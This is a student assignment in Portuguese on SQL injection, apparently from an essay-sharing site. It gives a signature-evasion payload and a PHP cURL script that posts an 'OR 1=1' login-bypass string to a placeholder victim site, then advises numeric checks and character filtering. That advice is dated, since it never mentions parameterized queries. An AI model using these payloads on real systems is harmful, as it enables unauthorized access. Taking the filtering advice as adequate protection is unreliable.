Atps Desenvolvimente De Software
Trabalho Universitário: Atps Desenvolvimente De Software. Pesquise 862.000+ trabalhos acadêmicosPor: stefansd • 3/6/2014 • 1.193 Palavras (5 Páginas) • 318 Visualizações
mário
Etapa III - Su3
Passo 1 3
Passo 2 4
Passo 3 ...5
Passo 4 7
Bibliografia - 10
ETAPA III
Passo 1
A leitura ajudou a entender os conceitos sobre o ataque do SQL Injection e métodos para evitá-lo.
Passo 2
Abaixo mais três exemplos de SQL Injection:
Signature Evasion (Invasão de Assinatura);
NULL%0aOR%0a'value'='value'/*
O que teremos no server?
NULL
OR
'value'='value'/*
Arbitrary String Patterns
Incorrect Type Handling (Manuseio do Tipo incorreto);
is_numeric($_GET['id'])) ? $id = $_GET['id'] : $id = 1; $news = mysql_query( "SELECT * FROM `news` WHERE `id` = $id ORDER BY `id` DESC LIMIT 0,3" );
O que fazemos é checar que $_GET[ 'id' ] e um número se for TRUE retorna $id=$_GET[ 'id' ] e se for falso seta o $id para 1.
Filter Bypassing (Filtro Ignorado);
<?php $url = "http://www.victimsite.com/login.php"; $ref
= "http://www.victimsite.com/index.php"; $session =
"PHPSESSID=abcdef01234567890abcdef01"; $ch =
curl_init(); curl_setopt( $ch, CURLOPT_URL, $url
); curl_setopt( $ch, CURLOPT_REFERER, $ref );
curl_setopt( $ch, CURLOPT_RETURNTRANSFER, TRUE );
curl_setopt( $ch, CURLOPT_COOKIE, $session );
curl_setopt( $ch, CURLOPT_POST, TRUE );
curl_setopt( $ch, CURLOPT_POSTFIELDS, "username=" .
chr(0xbf) . chr(0x27) .
"OR 1=1/*&submit=1" ); $data = curl_exec( $ch ); print(
$data ); curl_close( $ch ); ?>
Passo 3
Pesquisar como evitar ataques SQL INJECTION utilizando as linguagens PHP, ASP e JSP
Para evitar ataques SQL Injection é necessário verificar se todo parâmetro passado para o site é tratado antes que seja concatenado na query.
Por exemplo, nunca fazer simplesmente:
// ASP
consulta = "DELETE FROM tabela WHERE id_tabela = " & Request.Form("id")
// PHP
$consulta = "DELETE FROM tabela WHERE id_tabela = " . $_POST[id];
Em vez disso, trate primeiro o Request.Form("id") ou $_POST[id], como neste exemplo:
//ASP
If IsNumeric(Request.Form("id")) Then
consulta = "DELETE FROM tabela WHERE id_tabela = " & Request.Form("id")
Else
Response.Write "Dados Inválidos"
Response.End
End If
//PHP
if (is_numeric($_POST[id])) {
$consulta = "DELETE FROM tabela WHERE id_tabela = " . $_POST[id];
} else {
die("Dados inválidos");
}
No ASP poderíamos ter especificado simplesmente o Request("id"), entretanto este não valida se os dados foram passados pelo método GET (parâmetro especificado na URL) ou POST (dados enviados por formulário que não aparecem na URL), então a pessoa mal-intencionada poderia passar o "id" pela URL. Ao invés disso deve-se usar:
Request.QueryString("id") -> se o "id" tiver que ser passado via GET
Request.Form("id") -> se o "id" tiver que ser passado via POST
No PHP a mesma coisa, ao invés de simplesmente validar $id, valide:
$_GET[id] -> se o "id" tiver que ser passado via GET
$_POST[id] -> se o "id" tiver que ser passado via POST
Para campos com strings é aconselhável checar pelos caracteres:
" (aspas duplas)
' (aspas simples)
(espaços)
; (ponto e vírgula)
= (sinal de igual)
< (sinal de menor que)
> (sinal de maior que)
! (ponto de exclamação)
-- (dois hifens, indica início de comentário em alguns bancos)
# (sustenido ou jogo-da-velha, indica início de comentário em alguns bancos)
...